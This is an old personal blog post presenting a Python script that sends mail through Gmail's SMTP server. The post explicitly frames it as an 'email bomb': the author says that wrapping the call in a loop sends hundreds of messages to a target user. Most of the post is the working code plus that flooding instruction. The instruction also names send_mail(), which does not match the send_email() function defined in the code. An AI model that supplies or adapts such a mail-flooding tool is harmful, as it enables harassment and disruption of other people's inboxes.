Wednesday, April 3, 2013

Sending automated mails to Gmail/ Email bomb

While surfing net I found this amazing code which can be used to automated mails to gmail users.

Its written in python so you need to have python installed on your system to get it running.

def send_email():
    import smtplib

    gmail_user = "gmail_user@gmail.com"
    gmail_pwd = "password"
    FROM = 'gmail_uswr@gmail.com'
    TO = ['gmail_target@gmail.com'] #must be a list
    SUBJECT = "Testing sending using gmail"
    TEXT = "Testing sending mail using gmail servers"

    # Prepare actual message
    message = """\From: %s\nTo: %s\nSubject: %s\n\n%s""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
    try:
        #server = smtplib.SMTP(SERVER)
        server = smtplib.SMTP("smtp.gmail.com", 587) #or port 465 doesn't seem to work!
        print "print 1"
        server.ehlo()
        print "print 2"
        server.starttls()
        print "print 3"
        server.ehlo()
        server.login(gmail_user, gmail_pwd)
        print "print 4"
        server.sendmail(FROM, TO, message)
        print "print 5"
        #server.quit()
        server.close()
        print 'successfully sent the mail'
    except:
        print "failed to send mail"

send_email()

In order to send 100's of mail to an user just put send_mail() inside a loop your email bomb is ready. :P

PS: This code is not written by me but I found in while surfing net.

PPS: Do not use this on my email-id :).

1 comment:

  1. It's not showing up the from as specified, rather the actual user who sent

    ReplyDelete